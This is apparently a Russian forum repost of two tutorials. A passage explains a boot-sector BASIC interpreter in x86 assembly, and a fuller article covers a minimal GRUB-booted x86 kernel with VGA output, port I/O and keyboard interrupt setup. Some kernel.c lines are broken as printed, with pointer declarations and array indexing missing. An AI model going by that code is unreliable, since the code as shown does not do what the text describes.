  • выражения, которые могут включать в себя: числа, четыре арифметические операции, скобки, переменные;
  • три оператора: if, goto, =;
  • две функции: print, input.
Вот языковые конструкции, которые понимает наш интерпретатор:

  • var=expr присваивает значение expr переменной var (от a до z);
  • print expr выводит значение expr и переводит курсор на следующую строку;
  • print expr; выводит значение expr и оставляет курсор на текущей строке;
  • print "][ello" печатает строку и переводит курсор на следующую строку;
  • print "][ello"; печатает строку и оставляет курсор на текущей строке;
  • input var считывает значение с клавиатуры, помещает его в переменную var (a..z);
  • goto expr переходит на указанную строку программы;
  • if expr1 goto expr2 — если expr1 не 0, прыгнуть на строку expr2, иначе на следующую после if.
Пример: if c-5 goto 2 (если c-5 не 0, прыгаем на строку 2).


Начинаем делать интерпретатор​

Начинаем с того, что задаем области памяти, которыми будем пользоваться:

  • буфер для текста из командной строки;
  • буфер для хранения исходника программы;
  • массив для хранения переменных (от a до z);
  • указатель на текущую строку программы.

Все сегментные регистры нацеливаем на CS. Затем сбрасываем «флаг направления», чтобы строки обрабатывались слева направо, а не наоборот (когда будем обращаться к инструкциям вроде stosb). Буфер, который предназначен для исходника программы, заполняем символом 0x0D (символ возврата каретки, более известный как клавиша Enter).

Исходник программы на бейсике будем обрабатывать как двумерный символьный массив: 1000 × 20.

Если введешь строку больше 19 символов, она заедет на соседнюю. В текущей реализации интерпретатора этот баг не отслеживается. Просто помни, что больше 19 символов в строчку вписывать нельзя.


Запускаем главный рабочий цикл​

Здесь сначала восстанавливаем указатель стека (регистр SP). На тот случай, если программа на бейсике обрушилась из-за ошибки.

Затем сбрасываем указатель running (текущая строка программы). Потом вызываем подпрограмму input_line, которая ждет, пока программист что-нибудь напечатает. Подпрограмма сохраняет полученную строку в регистр SI.

Дальше смотрим, начинается строка с номера или нет. Если с номера, нам надо записать ее в буфер, который отведен под исходник. Для этого сначала вычисляем адрес, куда записывать строку. За это у нас отвечает подпрограмма find_address (результат кладет в регистр DI). Определив нужный адрес, копируем туда строку: rep movsb.

Если в начале строки нет номера, сразу выполняем ее: execute_statement.


Обрабатываем строки программы​

Строки программы обрабатываем следующим образом. Берем первое слово из строки и последовательно сравниваем его с каждой записью из таблицы @@statements (см. внизу статьи последний кусок кода). В этой таблице общим списком перечислены команды, операторы и функции, которые понимает наш интерпретатор.

Обрати внимание, какую эвристику я здесь использую, чтобы сэкономить байты на обработку условного оператора. Перед точкой входа execute_statement я поставил дополнительный вход в ту же самую подпрограмму: @@if_handler.

Зачем? Чтобы не надо было писать отдельный обработчик для конструкций вроде if a-2 goto 10. Если результат выражения (в данном случае a-2) равняется нулю, мы не заходим в if, то есть игнорируем остаток строки (в нашем случае goto 10).

С if разобрались. Дальше обрабатываем остальные команды, операторы и функции. Начинаем с того, что пропускаем лишние пробелы, которые программист добавил для своего удобства. Если в строке нет ничего, кроме пробелов, просто игнорируем ее.

Но если строка не пустая, присматриваемся к ней внимательно. Сначала перебираем по порядку таблицу @@statements и сверяем свою строку с каждой записью оттуда. Каким образом сверяем? Считываем размер строки (в случае run это 3) и затем сравниваем, используя repe / cmpsb.

Если совпадение обнаружилось, то регистр DI теперь указывает на соответствующий адрес обработчика. Поэтому мы без лишних телодвижений прыгаем туда: jmp [di]. Чтобы лучше понять, в чем тут прикол, загляни в конец статьи, посмотри, как устроена таблица @@statements. Подсказка: метки, которые начинаются с @@, — это как раз и есть адреса обработчиков.

Если всю таблицу перебрали, но совпадения так и не нашли, значит, текущая строка программы — это не команда, не оператор и не функция. Раз так, может быть, это название переменной? Прыгаем на @@to_get_var, чтобы проверить.

Дальше проматываем регистр DI к следующей записи таблицы. Каким образом? Прибавляем CX (длина имени текущей команды, оператора или функции плюс еще два байта (адрес обработчика). Потом восстанавливаем значение регистра SI (rep cmpsb перемотала его вперед), чтобы он опять указывал на начало строки, по которой мы выполняем поиск в таблице операторов.

Теперь DI указывает на следующую запись из таблицы. Если эта запись ненулевая, прыгаем на @@next_entry, чтобы сравнить строку программы, вернее ее начало, с этой записью.

Если мы прошли всю таблицу, но так и не нашли совпадения, значит, текущая строка — не команда, не оператор и не функция. В таком случае это, скорее всего, конструкция присваивания вроде var=expr. По идее, других вариантов больше нет. Если, конечно, в исходник не закралась синтаксическая ошибка.

Теперь нам надо вычислить выражение expr и поместить результат по адресу, с которым связана переменная var. Подпрограмма get_variable вычисляет нужный нам адрес и кладет его на стек.

После того как адрес найден, проверяем, есть ли после имени переменной оператор присваивания. Если да, нам надо его выполнить. Но в целях экономии байтов мы сделаем это не здесь.

Чуть ниже нам с тобой так и так придется реализовывать присваивание внутри функции input. Вот на тот кусок кода мы и прыгнем: @@assign. Целиком нам тут функция input ни к чему. Понадобится только ее финальная часть, вот ее и берем. Обратно в execute_statement возвращаться не будем. Нужный ret выполнит сама функция input.

Если знака присваивания нет, печатаем сообщение об ошибке и прекращаем выполнение программы, то есть прыгаем на @@main_loop. Там интерпретатор восстановит указатель стека и сможет работать дальше, несмотря на то что наткнулся на синтаксическую ошибку.


Выполняем команду list​

Команда list выводит на экран листинг программы, которая записана в буфере. Каким образом она работает?

Сначала сбрасываем в ноль номер текущей строки в программе: xor ax, ax. Затем по номеру строки вычисляем адрес, откуда считывать строку программы: find_address. Когда адрес строки найден, сравниваем первый символ с 0x0D, то есть смотрим, не пустая ли строка. Если пустая, переходим к следующей.

Но если нет, то выводим ее на экран. Сначала отображаем ее номер: output_number. Потом считываем из буфера саму строку посимвольно, пока не наткнемся на 0x0D. И так же посимвольно выводим ее на экран.

Затем переходим к следующей строке программы (inc ax) и повторяем все то же самое. Продолжаем до тех пор, пока не достигнем max_line, то есть 1000.


Выполняем функцию input​

Функция input позволяет ввести число с клавиатуры. Работает она так.

Сначала вычисляем адрес переменной, которая задана в программе. Потом выводим знак вопроса и ждем, пока пользователь что-нибудь напечатает.

На случай, если пользователь введет не просто число, а какое-нибудь заковыристое выражение, мы прогоняем введенную строку через process_expr. Конечный результат помещаем по тому адресу, который вычислили в начале подпрограммы. В этом нам поможет инструкция stosw.


Обрабатываем выражения​

Обработка выражений будет трехуровневая.

  1. Сложение и вычитание.
  2. Умножение и деление.
  3. Вложенные выражения (в скобках), имена переменных и числа.
На первом уровне, у которого приоритет самый низкий, сразу же передаем управление второму уровню: вызываем expr2_left. Затем, когда более приоритетные операции обработаны, смотрим на следующий символ. Если это знак сложения или вычитания, обрабатываем его. Каким образом?

Сначала сохраняем левое значение: push ax. Затем передаем правую часть выражения второму уровню: expr2_right. Когда более приоритетные операции выполнены, берем левое значение (pop cx) и выполняем нужную операцию с правым: add ax, cx или sub ax, cx.

Наконец, зацикливаемся на @@next_sub_add, чтобы корректно вычислять выражения вроде 1+2+5-4.

На втором уровне делаем все то же самое, что и на первом. Сначала опять передаем управление более приоритетному уровню: обращаемся к expr3_left. Затем смотрим на следующий символ. Если это знак деления или умножения, обрабатываем его. В конце, как и в предыдущем случае, закручиваем цикл (@@next_div_mul), чтобы интерпретатор понимал выражения вроде 3*4*2/1.

Обрати внимание, что при такой организации уровней наш интерпретатор автоматически учитывает приоритет операций. Например, выражение 5*6+3*4 вычисляется как (5*6)+(3*4).

На третьем уровне обрабатываем скобки (вложенные выражения), имена переменных и числа.

Сначала удаляем пробелы из входной строки. Затем смотрим на левый символ. Если это открывающая скобка, запускаем рекурсию: обращаемся к process_expr. После того как вложенное выражение обработано, проверяем, есть ли у него закрывающая скобка. Если нет, выдаем ошибку. А если есть, пропускаем пробелы, следующие за ней, и радостно делаем ret.

Но что, если слева не открывающая скобка, а какой-то другой символ? Может быть, это имя переменной? Проверяем: cmp al 0x40 / jnc @@yes_var.

Если предположение подтвердилось, идем считывать значение переменной. А если нет, значит, текущий символ — это кусок числа. Отступаем на один шаг (dec si) и вызываем dec_str_to_number, чтобы прочитать число.


Подпрограмма: адрес переменной по ее имени​

У этой подпрограммы две точки входа. На первой точке входа (get_var) читаем букву переменной при помощи lodsb, на второй (get_var_2) — используем имя переменной, которое передано через регистр AL. Изврат, конечно, но чего не сделаешь, чтобы сэкономить пару-тройку байтов.

Теперь, когда имя переменной у нас есть, надо вычислить адрес, с которым она связана. Делаем это в три шага.

  1. Выполняем and al, 0x1F, чтобы извлечь номер переменной; здесь ASCII-значения 0x61–0x7A конвертируются в 0x01–0x1A.
  2. Умножаем результат на 2, поскольку каждая переменная использует 16-битное слово в памяти.
  3. Добавляем к адресу старшую его часть: mov ah, vars>>8.
Все! Мы знаем ячейку памяти, с которой связана переменная.

Обрати внимание, что этот код переплетен с подпрограммой, которая пропускает пробелы. У той подпрограммы тоже две точки входа. Первая (skip_spaces) пропускает пробелы, которые идут за переменной, вторая (skip_spaces_2) делает то же самое, но только оставляет первый пробел.


Подпрограмма: печать десятичного числа​

Подпрограмма печатает на экране число, переданное через регистр AX. Каким образом? Рекурсивно делим AX на 10. После каждого деления сохраняем остаток на стеке. После того как доделились до нуля, начинаем выходить из рекурсии. Перед каждым выходом снимаем со стека очередной остаток и выводим его на экран.

Несколько примеров. Если AX = 4, то после деления на 10 в AX будет 0 и поэтому output_number не зайдет в рекурсию. Просто выведет остаток, то есть четверку, и все.

Если AX = 15, то после деления на 10 в AX будет единица. И поэтому подпрограмма залезет в рекурсию. Покажет там единичку, затем выйдет из внутреннего вызова в основной и там уже напечатает цифру 5.

Обрати внимание на jmp в конце и на то, что у программы нету своего ret. Это еще один небольшой хак, чтобы сэкономить парочку байтов. Мы не вызываем подпрограмму вывода символа, а джампимся на нее. Нужный нам ret она сделает сама.


Подпрограмма: из десятичной строки в шестнадцатеричное число​

Подпрограмма переводит строку, в которой записано десятичное число (на нее указывает регистр SI), и записывает результат в регистр AX.

Переводить десятичную строку в шестнадцатеричное число будем вот как. Проходим в цикле по всем цифрам слева направо. Каждый раз умножаем аккумулятор на 10 (первый раз там у нас ноль) и прибавляем к нему текущую цифру. Если натыкаемся в строке на что-то отличное от цифры, сконфуженно выходим — ошибка.

Обрати внимание: между cmp al, 10 и условным переходом стоит две операции. Так что итоговый результат всегда попадает в регистр AX, даже в случае ошибки.


Выполняем команды run/goto​

Команды run и goto запускают программу, которая записана в буфере. Run запускает ее с самого начала, а goto — с произвольной строчки. Обе команды будем обрабатывать одной и той же подпрограммой.

Когда интерпретатор видит команду run, он сначала превращает ее в goto 0 и дальше обрабатывает ее точно так же, как goto. Каким образом превращает? Сбрасывает регистр AX в ноль и прыгает на @@goto_handler.

Выполнять команду goto начинаем с того, что вычисляем выражение, которое записано после goto. Результат, то есть номер строки, куда прыгать, помещаем в AX.

Затем по номеру строки вычисляем адрес, где записана эта строка: find_address.

Обрати внимание, что командой goto можно пользоваться как в интерактивном, так и в обычном режиме. То есть и в программе ее использовать в качестве оператора, и с клавиатуры набирать для непосредственного выполнения.

Что делает инструкция сравнения cmp word [running], 0? Смотрит, откуда мы сюда попали: из интерактивного режима или из обычного.

Если из обычного режима, просто записываем в переменную running адрес, откуда дальше выполнять программу. На следующем такте интерпретатор вытащит с этого адреса нужную строку программы и выполнит ее.

Но если мы попали сюда из интерактивного режима (программист вошел в программу не через run, а через goto), то прыгаем на строку исходника, которая указана в goto.


А вот та подпрограмма, которая по заданному номеру вычисляет адрес строки в исходнике. Каким образом? В AX у нас записан номер строки. Умножаем его на стандартную длину строки и прибавляем адрес первой строки программы. Так мы получаем искомый адрес.


Подпрограмма: принимаем с клавиатуры строки исходника​

Теперь научим наш интерпретатор принимать с клавиатуры строки программы. За это будет отвечать подпрограмма input_line. На входе она получает символ командной строки (через регистр AL): знак «больше».

Сначала выводим командную строку. Затем нацеливаемся на буфер, куда будем сохранять текст из командной строки. Потом читаем символ с клавиатуры и, если это не Backspace (0x08), сохраняем его в буфер. Но если нажата Backspace, уменьшаем регистр DI на единицу, чтобы он указывал на предыдущий символ.


Выполняем функцию print​

Функцию print сделаем такой, чтобы она понимала разный синтаксис:

  • print переводит курсор на следующую строку;
  • print "Hello" печатает текст и ставит курсор на следующую строку;
  • print "Hello;" печатает текст и оставляет курсор на текущей строке;
  • print 5 печатает число и ставит курсор на следующую строку;
  • print 5+2; печатает число и оставляет курсор на текущей строке.
Первое сравнение, cmp al, 0x0D, отслеживает первый вариант синтаксиса — без аргументов.

Второе сравнение, cmp al, '"', отслеживает два варианта синтаксиса, когда надо напечатать строку. В этом случае поочередно выводим все символы, пока не наткнемся на закрывающую кавычку или на 0x0D. Если наткнулись на 0x0D, значит, программист забыл ввести вторую кавычку. Ругаться ошибкой на него за это не будем.

Дальше смотрим, есть ли после кавычки точка с запятой. Если нет, переводим курсор на следующую строку.

На метке @@no_quote обрабатываем два варианта синтаксиса, когда надо напечатать число. Если вместо числа нам подсунули выражение, вычисляем его. Потом выводим его и смотрим, есть ли дальше точка с запятой. Если нет, переводим курсор на следующую строку.


Подпрограммы: ввод-вывод символов​

Сделаем две вспомогательные подпрограммы — для input и для print.

Подпрограмма input_key считывает нажатую клавишу при помощи прерывания BIOS 0x16, функция 0x00. ASCII-код клавиши попадает в регистр AL.

Обрати внимание: эта подпрограмма перекрывается со следующей, поэтому она не заканчивается инструкцией ret. Зачем здесь такое трюкачество? Чтобы, не отходя от кассы, в смысле не тратя дополнительных байтов, вывести на экран символ, который пришел с клавиатуры.

Подпрограмма output_char сначала проверяет, не нажат ли Enter: cmp al, 0xD. Если так, то в довесок к символу 0xD печатаем еще и 0xA. Без 0xA курсор будет просто уходить влево, не перескакивая на следующую строку. Символы печатаем при помощи BIOS: прерывание 0x10, функция 0x0E.


Таблица команд, функций и операторов​

Дальше таблица команд, функций и операторов, которые понимает наш интерпретатор. Каждая запись состоит из трех полей: длина строки; имя команды, функции или оператора; точка входа в подпрограмму-обработчик. Ноль в конце таблицы — это подсказка интерпретатору, что таблица закончилась.

При такой структуре очень удобно добавлять новые команды, функции и операторы. Просто дописываешь сюда еще одну строчку, затем вставляешь обработчик в удобном месте, и все. Больше ничего править в коде не надо.

Два последних байта нужны для того, чтобы BIOS поняла, что в бутсекторе записана не какая-то белиберда, а вразумительная программа. В нашем случае интерпретатор бейсика.


Тестируем интерпретатор: пишем программу «Треугольник Паскаля»​

Треугольник Паскаля — это треугольная таблица биноминальных коэффициентов. Сверху стоит число 1. Числа, которые появляются в последующих строках, — это сумма двух ближайших вышестоящих чисел. Вот исходник, который надо скормить интерпретатору.

Если ты все сделал правильно, интерпретатор должен выдать что-то похожее на такую картинку.

Интерпретатор работает правильно? Если так, можешь гордиться собой. Ты только что своими руками создал полноценный интерпретатор языка бейсик. При желании можешь попытаться расширить его функциональность. Например:

  • добавить команду cls (очистка экрана);
  • добавить операторы gosub и return, чтобы можно было писать подпрограммы;
  • реализовать поддержку массивов.
Напоследок пара организационных моментов.

  1. Для компиляции программы используй NASM: nasm -f bin MicroB.asm.asm -o MicroB.asm.com.
  2. Если боишься редактировать бутсектор, можешь тестировать интерпретатор через эмулятор DOS — например, DOSBox.
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Как загружаются x86-машины
  • Что нам понадобится
  • Входная точка на ассемблере
  • Ядро на C
  • Компоновка
  • GRUB и мультизагрузка
  • Собираем ядро
  • Настраиваем GRUB и запускаем ядро
  • GRUB 2
  • Пишем ядро с поддержкой клавиатуры и экрана
  • Работа с портами: чтение и вывод
  • Прерывания
  • Задаем IDT
  • Функция — обработчик прерывания клавиатуры
Разработка ядра по праву считается задачей не из легких, но написать простейшее ядро может каждый. Чтобы прикоснуться к магии кернел-хакинга, нужно лишь соблюсти некоторые условности и совладать с ассемблером. В этой статье мы на пальцах разберем, как это сделать.

Давай напишем ядро, которое будет загружаться через GRUB на системах, совместимых с x86. Наше первое ядро будет показывать сообщение на экране и на этом останавливаться.


Как загружаются x86-машины​

Прежде чем думать о том, как писать ядро, давай посмотрим, как компьютер загружается и передает управление ядру. Большинство регистров процессора x86 имеют определенные значения после загрузки. Регистр — указатель на инструкцию (EIP) содержит адрес инструкции, которая будет исполнена процессором. Его захардкоженное значение — это 0xFFFFFFF0. То есть x86-й процессор всегда будет начинать исполнение с физического адреса 0xFFFFFFF0. Это последние 16 байт 32-разрядного адресного пространства. Этот адрес называется «вектор сброса» (reset vector).

В карте памяти, которая содержится в чипсете, прописано, что адрес 0xFFFFFFF0 ссылается на определенную часть BIOS, а не на оперативную память. Однако BIOS копирует себя в оперативку для более быстрого доступа — этот процесс называется «шедоуинг» (shadowing), создание теневой копии. Так что адрес 0xFFFFFFF0 будет содержать только инструкцию перехода к тому месту в памяти, куда BIOS скопировала себя.

Итак, BIOS начинает исполняться. Сначала она ищет устройства, с которых можно загружаться в том порядке, который задан в настройках. Она проверяет носители на наличие «волшебного числа», которое отличает загрузочные диски от обычных: если байты 511 и 512 в первом секторе равны 0xAA55, значит, диск загрузочный.

Как только BIOS найдет загрузочное устройство, она скопирует содержимое первого сектора в оперативную память, начиная с адреса 0x7C00, а затем переведет исполнение на этот адрес и начнет исполнение того кода, который только что загрузила. Вот этот код и называется загрузчиком (bootloader).

Загрузчик загружает ядро по физическому адресу 0x100000. Именно он и используется большинством популярных ядер для x86.

Все процессоры, совместимые с x86, начинают свою работу в примитивном 16-разрядном режиме, которые называют «реальным режимом» (real mode). Загрузчик GRUB переключает процессор в 32-разрядный защищенный режим (protected mode), переводя нижний бит регистра CR0 в единицу. Поэтому ядро начинает загружаться уже в 32-битном защищенном режиме.

Заметь, что GRUB в случае с ядрами Linux выбирает соответствующий протокол загрузки и загружает ядро в реальном режиме. Ядра Linux сами переключаются в защищенный режим.


Что нам понадобится​

  • Компьютер, совместимый с x86 (очевидно),
  • Linux,
  • ассемблер NASM,
  • GCC,
  • ld (GNU Linker),
  • GRUB.

WWW​

Ты можешь найти исходный код того, что у нас должно получиться, в репозитории автора на GitHub.

Входная точка на ассемблере​

Нам бы, конечно, хотелось написать все на C, но совсем избежать использования ассемблера не получится. Мы напишем на ассемблере x86 небольшой файл, который станет стартовой точкой для нашего ядра. Все, что будет делать ассемблерный код, — это вызывать внешнюю функцию, которую мы напишем на C, а потом останавливать выполнение программы.

Как сделать так, чтобы ассемблерный код стал стартовой точкой для нашего ядра? Мы используем скрипт для компоновщика (linker), который линкует объектные файлы и создает финальный исполняемый файл ядра (подробнее объясню чуть ниже). В этом скрипте мы напрямую укажем, что хотим, чтобы наш бинарный файл загружался по адресу 0x100000. Это адрес, как я уже писал, по которому загрузчик ожидает увидеть входную точку в ядро.

Вот код на ассемблере.

kernel.asm​

Код:
bits 32
section .text
global start
extern kmain
start: cli mov esp, stack_space call kmain hlt
section .bss
resb 8192
stack_space:
Первая инструкция bits 32 — это не ассемблер x86, а директива NASM, сообщающая, что нужно генерировать код для процессора, который будет работать в 32-разрядном режиме. Для нашего примера это не обязательно, но указывать это явно — хорошая практика.

Вторая строка начинает текстовую секцию, также известную как секция кода. Сюда пойдет весь наш код.

global — это еще одна директива NASM, она объявляет символы из нашего кода глобальными. Это позволит компоновщику найти символ start, который и служит нашей точкой входа.

kmain — это функция, которая будет определена в нашем файле kernel.c. extern объявляет, что функция декларирована где-то еще.

Далее идет функция start, которая вызывает kmain и останавливает процессор инструкцией hlt. Прерывания могут будить процессор после hlt, так что сначала мы отключаем прерывания инструкцией cli (clear interrupts).

В идеале мы должны выделить какое-то количество памяти под стек и направить на нее указатель стека (esp). GRUB, кажется, это и так делает за нас, и на этот момент указатель стека уже задан. Однако на всякий случай выделим немного памяти в секции BSS и направим указатель стека на ее начало. Мы используем инструкцию resb — она резервирует память, заданную в байтах. Затем оставляется метка, указывающая на край зарезервированного куска памяти. Прямо перед вызовом kmain указатель стека (esp) направляется на эту область инструкцией mov.


Ядро на C​

В файле kernel.asm мы вызвали функцию kmain(). Так что в коде на C исполнение начнется с нее.

kernel.c​

C:
void kmain(void)
{ const char *str = "my first kernel"; char vidptr = (char)0xb8000; unsigned int i = 0; unsigned int j = 0; while(j < 80 * 25 * 2) { vidptr[j] = ' '; vidptr[j+1] = 0x07; j = j + 2; } j = 0; while(str[j] != '\0') { vidptr = str[j]; vidptr[i+1] = 0x07; ++j; i = i + 2; } return;
}
Все, что будет делать наше ядро, — очищать экран и выводить строку my first kernel.

Первым делом мы создаем указатель vidptr, который указывает на адрес 0xb8000. В защищенном режиме это начало видеопамяти. Текстовая экранная память — это просто часть адресного пространства. Под экранный ввод-вывод выделен участок памяти, который начинается с адреса 0xb8000, — в него помещается 25 строк по 80 символов ASCII.

Каждый символ в текстовой памяти представлен 16 битами (2 байта), а не 8 битами (1 байтом), к которым мы привыкли. Первый байт — это код символа в ASCII, а второй байт — это attribute-byte. Это определение формата символа, в том числе — его цвет.

Чтобы вывести символ s зеленым по черному, нам нужно поместить s в первый байт видеопамяти, а значение 0x02 — во второй байт. 0 здесь означает черный фон, а 2 — зеленый цвет. Мы будем использовать светло-серый цвет, его код — 0x07.

В первом цикле while программа заполняет пустыми символами с атрибутом 0x07 все 25 строк по 80 символов. Это очистит экран.

Во втором цикле while символы строки my first kernel, оканчивающейся нулевым символом, записываются в видеопамять и каждый символ получает attribute-byte, равный 0x07. Это должно привести к выводу строки.




Компоновка

Теперь мы должны собрать kernel.asm в объектный файл с помощью NASM, а затем при помощи GCC скомпилировать kernel.c в другой объектный файл. Наша задача — слинковать эти объекты в исполняемое ядро, пригодное к загрузке. Для этого потребуется написать для компоновщика (ld) скрипт, который мы будем передавать в качестве аргумента.


link.ld

Код:
OUTPUT_FORMAT(elf32-i386)
ENTRY(start)
SECTIONS { . = 0x100000; .text : { *(.text) } .data : { *(.data) } .bss : { *(.bss) } }
Здесь мы сначала задаем формат (OUTPUT_FORMAT) нашего исполняемого файла как 32-битный ELF (Executable and Linkable Format), стандартный бинарный формат для Unix-образных систем для архитектуры x86.

ENTRY принимает один аргумент. Он задает название символа, который будет служить входной точкой исполняемого файла.

SECTIONS — это самая важная для нас часть. Здесь мы определяем раскладку нашего исполняемого файла. Мы можем определить, как разные секции будут объединены и куда каждая из них будет помещена.

В фигурных скобках, которые идут за выражением SECTIONS, точка означает счетчик позиции (location counter). Он автоматически инициализируется значением 0x0 в начале блока SECTIONS, но его можно менять, назначая новое значение.

Ранее я уже писал, что код ядра должен начинаться по адресу 0x100000. Именно поэтому мы и присваиваем счетчику позиции значение 0x100000.

Взгляни на строку .text : { *(.text) }. Звездочкой здесь задается маска, под которую подходит любое название файла. Соответственно, выражение *(.text) означает все входные секции .text во всех входных файлах.

В результате компоновщик сольет все текстовые секции всех объектных файлов в текстовую секцию исполняемого файла и разместит по адресу, указанному в счетчике позиции. Секция кода нашего исполняемого файла будет начинаться по адресу 0x100000.

После того как компоновщик выдаст текстовую секцию, значение счетчика позиции будет 0x100000 плюс размер текстовой секции. Точно так же секции data и bss будут слиты и помещены по адресу, который задан счетчиком позиции.




GRUB и мультизагрузка

Теперь все наши файлы готовы к сборке ядра. Но поскольку мы будем загружать ядро при помощи GRUB, остается еще один шаг.

Существует стандарт для загрузки разных ядер x86 с помощью бутлоадера. Это называется «спецификация мультибута». GRUB будет загружать только те ядра, которые ей соответствуют.

В соответствии с этой спецификацией ядро может содержать заголовок (Multiboot header) в первых 8 килобайтах. В этом заголовке должно быть прописано три поля:


  • magic — содержит «волшебное» число 0x1BADB002, по которому идентифицируется заголовок;
  • flags — это поле для нас не важно, можно оставить ноль;
  • checksum — контрольная сумма, должна дать ноль, если прибавить ее к полям magic и flags.
Наш файл kernel.asm теперь будет выглядеть следующим образом.


kernel.asm

Код:
bits 32
section .text ;multiboot spec align 4 dd 0x1BADB002 ;magic dd 0x00 ;flags dd - (0x1BADB002 + 0x00) ;checksum
global start
extern kmain
start: cli mov esp, stack_space call kmain hlt
section .bss
resb 8192
stack_space:
Инструкция dd задает двойное слово размером 4 байта.



Собираем ядро

Итак, все готово для того, чтобы создать объектный файл из kernel.asm и kernel.c и слинковать их с применением нашего скрипта. Пишем в консоли:

Bash:
$ nasm -f elf32 kernel.asm -o kasm.o
По этой команде ассемблер создаст файл kasm.o в формате ELF-32 bit. Теперь настал черед GCC:

Bash:
$ gcc -m32 -c kernel.c -o kc.o
Параметр -c указывает на то, что файл после компиляции не нужно линковать. Мы это сделаем сами:

Bash:
$ ld -m elf_i386 -T link.ld -o kernel kasm.o kc.o
Эта команда запустит компоновщик с нашим скриптом и сгенерирует исполняемый файл под названием kernel.


WARNING

Хакингом ядра лучше всего заниматься в виртуалке. Чтобы запустить ядро в QEMU вместо GRUB, используй команду qemu-system-i386 -kernel kernel.


Настраиваем GRUB и запускаем ядро

GRUB требует, чтобы название файла с ядром следовало конвенции kernel-<версия>. Так что переименовываем файл — я назову свой kernel-701.

Теперь кладем ядро в каталог /boot. На это понадобятся привилегии суперпользователя.

В конфигурационный файл GRUB grub.cfg нужно будет добавить что-то в таком роде:


Код:
title myKernel root (hd0,0) kernel /boot/kernel-701 ro
Не забудь убрать директиву hiddenmenu, если она прописана.



GRUB 2

Чтобы запустить созданное нами ядро в GRUB 2, который по умолчанию поставляется в новых дистрибутивах, твой конфиг должен выглядеть следующим образом:
Код:
menuentry 'kernel 701' { set root='hd0,msdos1' multiboot /boot/kernel-701 ro
}

Благодарю Рубена Лагуану за это дополнение.
Перезагружай компьютер, и ты должен будешь увидеть свое ядро в списке! А выбрав его, ты увидишь ту самую строку.


Это и есть твое ядро!



WWW



Пишем ядро с поддержкой клавиатуры и экрана

Мы закончили работу над минимальным ядром, которое загружается через GRUB, работает в защищенном режиме и выводит на экран одну строку. Настала пора расширить его и добавить драйвер клавиатуры, который будет читать символы с клавиатуры и выводить их на экран.


WWW

Полный исходный код ты можешь найти в репозитории автора на GitHub.
Мы будем общаться с устройствами ввода-вывода через порты ввода-вывода. По сути, они просто адреса на шине ввода-вывода. Для операций чтения и записи в них существуют специальные процессорные инструкции.




Работа с портами: чтение и вывод

Код:
read_port: mov edx, [esp + 4] in al, dx ret
write_port: mov edx, [esp + 4] mov al, [esp + 4 + 4] out dx, al ret
Доступ к портам ввода-вывода осуществляется при помощи инструкций in и out, входящих в набор x86.

В read_port номер порта передается в качестве аргумента. Когда компилятор вызывает функцию, он кладет все аргументы в стек. Аргумент копируется в регистр edx при помощи указателя на стек. Регистр dx — это нижние 16 бит регистра edx. Инструкция in здесь читает порт, номер которого задан в dx, и кладет результат в al. Регистр al — это нижние 8 бит регистра eax. Возможно, ты помнишь из институтского курса, что значения, возвращаемые функциями, передаются через регистр eax. Таким образом, read_port позволяет нам читать из портов ввода-вывода.

Функция write_port работает схожим образом. Мы принимаем два аргумента: номер порта и данные, которые будут записаны. Инструкция out пишет данные в порт.




Прерывания

Теперь, прежде чем мы вернемся к написанию драйвера, нам нужно понять, как процессор узнает, что какое-то из устройств выполнило операцию.

Самое простое решение — это опрашивать устройства — непрерывно по кругу проверять их статус. Это по очевидным причинам неэффективно и непрактично. Поэтому здесь в игру вступают прерывания. Прерывание — это сигнал, посылаемый процессору устройством или программой, который означает, что произошло событие. Используя прерывания, мы можем избежать необходимости опрашивать устройства и будем реагировать только на интересующие нас события.

За прерывания в архитектуре x86 отвечает чип под названием Programmable Interrupt Controller (PIC). Он обрабатывает хардверные прерывания и направляет и превращает их в соответствующие системные прерывания.

Когда пользователь что-то делает с устройством, чипу PIC отправляется импульс, называемый запросом на прерывание (Interrupt Request, IRQ). PIC переводит полученное прерывание в системное прерывание и отправляет процессору сообщение о том, что пора остановить то, что он делает. Дальнейшая обработка прерываний — это задача ядра.

Без PIC нам бы пришлось опрашивать все устройства, присутствующие в системе, чтобы посмотреть, не произошло ли событие с участием какого-то из них.

Давай разберем, как это работает в случае с клавиатурой. Клавиатура висит на портах 0x60 и 0x64. Порт 0x60 отдает данные (когда нажата какая-то кнопка), а порт 0x64 передает статус. Однако нам нужно знать, когда конкретно читать эти порты.

Прерывания здесь приходятся как нельзя более кстати. Когда кнопка нажата, клавиатура отправляет PIC сигнал по линии прерываний IRQ1. PIС хранит значение offset, сохраненное во время его инициализации. Он добавляет номер входной линии к этому отступу, чтобы сформировать вектор прерывания. Затем процессор ищет структуру данных, называемую «таблица векторов прерываний» (Interrupt Descriptor Table, IDT), чтобы дать функции — обработчику прерывания адрес, соответствующий его номеру.

Затем код по этому адресу исполняется и обрабатывает прерывание.




Задаем IDT

Код:
struct IDT_entry{ unsigned short int offset_lowerbits; unsigned short int selector; unsigned char zero; unsigned char type_attr; unsigned short int offset_higherbits;
};
struct IDT_entry IDT[IDT_SIZE];
void idt_init(void)
{ unsigned long keyboard_address; unsigned long idt_address; unsigned long idt_ptr[2]; keyboard_address = (unsigned long)keyboard_handler; IDT[0x21].offset_lowerbits = keyboard_address & 0xffff; IDT[0x21].selector = 0x08;  IDT[0x21].zero = 0; IDT[0x21].type_attr = 0x8e;  IDT[0x21].offset_higherbits = (keyboard_address & 0xffff0000) >> 16; write_port(0x20 , 0x11); write_port(0xA0 , 0x11); write_port(0x21 , 0x20); write_port(0xA1 , 0x28); write_port(0x21 , 0x00); write_port(0xA1 , 0x00); write_port(0x21 , 0x01); write_port(0xA1 , 0x01); write_port(0x21 , 0xff); write_port(0xA1 , 0xff); idt_address = (unsigned long)IDT ; idt_ptr[0] = (sizeof (struct IDT_entry) * IDT_SIZE) + ((idt_address & 0xffff) << 16); idt_ptr[1] = idt_address >> 16 ; load_idt(idt_ptr);
}
IDT — это массив, объединяющий структуры IDT_entry. Мы еще обсудим привязку клавиатурного прерывания к обработчику, а сейчас посмотрим, как работает PIC.

Современные системы x86 имеют два чипа PIC, у каждого восемь входных линий. Будем называть их PIC1 и PIC2. PIC1 получает от IRQ0 до IRQ7, а PIC2 — от IRQ8 до IRQ15. PIC1 использует порт 0x20 для команд и 0x21 для данных, а PIC2 — порт 0xA0 для команд и 0xA1 для данных.

Оба PIC инициализируются восьмибитными словами, которые называются «командные слова инициализации» (Initialization command words, ICW).

